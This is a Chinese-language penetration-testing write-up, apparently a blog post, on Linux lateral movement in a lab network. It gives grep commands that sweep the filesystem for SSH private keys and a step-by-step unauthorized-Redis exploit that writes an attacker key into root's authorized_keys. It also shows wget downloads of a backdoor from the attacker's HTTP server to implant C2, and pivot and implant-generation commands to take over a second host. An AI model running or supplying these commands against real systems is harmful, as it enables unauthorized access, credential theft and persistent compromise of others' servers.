敏感文件
~/.ssh/config #配置 ssh 连接相关参数的配置文件
~/.ssh/known_hosts # 该服务器所有登录过的服务器的信息
~/.bash_history # 通过历史命令看该服务器中有没有使用ssh私钥去连接服务器
Bash shell在“/.bash_history”(“/”表示用户目录)文件中保存了500条使用过的命令,这样能使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。
参考:
https://blog.youkuaiyun.com/caolaosanahnu/article/details/7601074
一般情况下SSH密钥存放在~/.ssh/目录下,也可以文件中搜索已保存的SSH凭证
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
参考:https://www.runoob.com/w3cnote/set-ssh-login-key.html
先对目标进行信息收集 ,端口扫描,看开放了什么服务,端口等
nmap -sV -O 目标IP -p要扫描的端口

发现有redis服务,Ubuntu系统的,

存在未授权,那就尝试从redis相关漏洞入手,写计划任务反弹 , 写ssh密钥 ,写网站后门等
cd /root/.ssh
ssh-keygen #生成本地密钥
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt #读取密钥保存到key.txt

cat key.txt | redis-cli -h 192.168.73.135 -x set xxx #读取key.txt密钥并连接redis目标设置xxx数据

redis-cli -h 192.168.73.135 #连接目标
config set slave-read-only no #修改为读写权限
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
ssh 目标ip 连接成功
上线C2,目标是linux,CS需要相关插件,并且插件在代理时会有bug,选择MSF等其他C2
上线方法很多种,根据条件选择,若目标开放了21(ftp)服务,直接传文件,这里选择攻击机开服务,让目标访问下载
python -m http.server 8081
wget 攻击机ip:8081/后门
wget 192.168.73.132:8081/FuckRedis

执行上线

探测一下网段

发现52.20主机

1、WINDOWS NT/2000 TTL:128
2、WINDOWS 95/98 TTL:32
3、UNIX TTL:255
4、LINUX TTL:64
5、WIN7 TTL:64
猜测为linux系统,linux横向没有windows那么多方法,但linux一般不会有杀毒设备,
执行cat ~/.bash_history 和history查看该机器执行过哪些命令 通过历史命令看该服务器中有没有使用ssh私钥去连接服务器

发现存在横向点,直接尝试连接
ssh 192.168.52.20

拿下第二台linux主机,但还是想上线C2,后续需要建立代理,自己的本机进行通讯,这样可以避免一些流量被设备捕获
由于linux一般会有一些环境,python等,可以和第一个方法一样,52.10开启服务,让52.20下载52.10的后门
先在52.10主机创建监听器, interactive创建一个session会话,执行
pivots tcp -l 1113
生成后门
generate --tcp-pivot 192.168.52.10:1113 --os linux
在52.10主机开启一个http服务 python3 -m http.server 8088
execute -o python3 -m http.server 8088

在切换为52.10执行ssh 192.168.52.20 练上去,wget 下载后门 并执行(重复让52.10上线的步骤,这里不多描述),成功让192.168.52.20上线

接下来打一台域内windos主机,源码泄露,通过数据库打下的,后面的windows横向不是本文重点,后面会再介绍几个linux横向
3225

被折叠的 条评论
为什么被折叠?



